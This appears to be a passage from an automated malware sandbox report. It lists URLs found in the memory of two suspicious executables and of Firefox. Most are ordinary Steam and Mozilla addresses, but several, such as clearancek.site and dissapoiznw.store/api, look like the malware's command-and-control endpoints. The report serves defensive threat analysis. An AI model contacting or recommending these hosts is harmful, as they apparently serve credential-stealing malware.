Source: f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: f84005b97f.exe, 00000009.00000002.2949626105.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000002.2949821023.0000000000F1B000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F18000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2946508020.0000000000F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site/
Source: f84005b97f.exe, 00000009.00000002.2949626105.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site/e
Source: f84005b97f.exe, 00000009.00000002.2949746243.0000000000F05000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site:443/apibcryptPrimitives.dllR
Source: f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/
Source: f84005b97f.exe, 00000007.00000003.2823560713.00000000014D5000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000002.2826347227.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/communit
Source: f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=ljhW-PbGuX
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK
Source: f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=e
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en
Source: f84005b97f.exe, 00000007.00000003.2813057343.0000000001437000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000003.2823560713.00000000014D5000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000002.2826347227.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: f84005b97f.exe, 00000007.00000003.2823560713.00000000014D5000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000002.2826347227.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLo
Source: f84005b97f.exe, 00000007.00000003.2813057343.0000000001437000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: f84005b97f.exe, 00000007.00000003.2823560713.00000000014D5000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000002.2826347227.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/
Source: f84005b97f.exe, 00000007.00000003.2823560713.00000000014D5000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000002.2826347227.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/lib0
Source: f84005b97f.exe, 00000007.00000003.2813057343.0000000001437000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: f84005b97f.exe, 00000007.00000003.2823560713.00000000014D5000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000002.2826347227.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.
Source: f84005b97f.exe, 00000007.00000003.2813057343.0000000001437000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=W9BX
Source: f84005b97f.exe, 00000007.00000003.2813057343.0000000001437000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=qYlgdgWOD4Ng&amp
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=Ff_1prscqzeu&
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: firefox.exe, 00000017.00000003.2983132390.000002882376F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982268821.0000028823500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982443745.000002882371D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112181338.0000028823900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.2982699498.0000028823738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982871988.0000028823753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2983357091.000002882378A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F87B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3149714295.000002882B61F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: 7e96f85771.exe, 00000008.00000002.3201117292.00000000299D1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 7e96f85771.exe, 00000008.00000002.3201117292.00000000299D1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3089829933.000002881F2C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3142479922.000002882B153000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3119588541.0000028824503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3100093809.00000288230EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000017.00000002.3085847545.0000028813611000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3085847545.0000028813630000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 00000017.00000002.3093750856.0000028820AF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 00000017.00000002.3093750856.0000028820AF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 00000017.00000002.3093750856.0000028820AF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 00000017.00000002.3093750856.0000028820AF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 00000017.00000002.3093750856.0000028820AF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 00000017.00000002.3093750856.0000028820AF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: f84005b97f.exe, 00000009.00000002.2949746243.0000000000F05000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dissapoiznw.store:443/api
Source: firefox.exe, 00000017.00000002.3180688170.000022DAD3C04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000017.00000002.3163888580.000002882BAB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982268821.0000028823500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982443745.000002882371D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112181338.0000028823900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.2982699498.0000028823738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3173331545.000002882DF05000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982871988.0000028823753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3180941837.000023F979304000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3119588541.0000028824503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 00000017.00000002.3163888580.000002882BAB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3117080621.0000028824319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112181338.0000028823900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: f84005b97f.exe, 00000009.00000002.2949746243.0000000000F05000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eaglepawnoy.store:443/api&.sg
Source: firefox.exe, 00000017.00000002.3180688170.000022DAD3C04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ebay.comP
Source: firefox.exe, 00000017.00000002.3093750856.0000028820AF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3149714295.000002882B685000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3036113479.000002882D119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3039351841.000002882D8E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/d8e772fe-4909-4f05-9f9
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 00000017.00000002.3108949282.0000028823403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3090755070.000002881F7AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3181547624.0000307B45B04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3090755070.000002881F7D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3137866600.0000028826C98000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3149714295.000002882B685000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
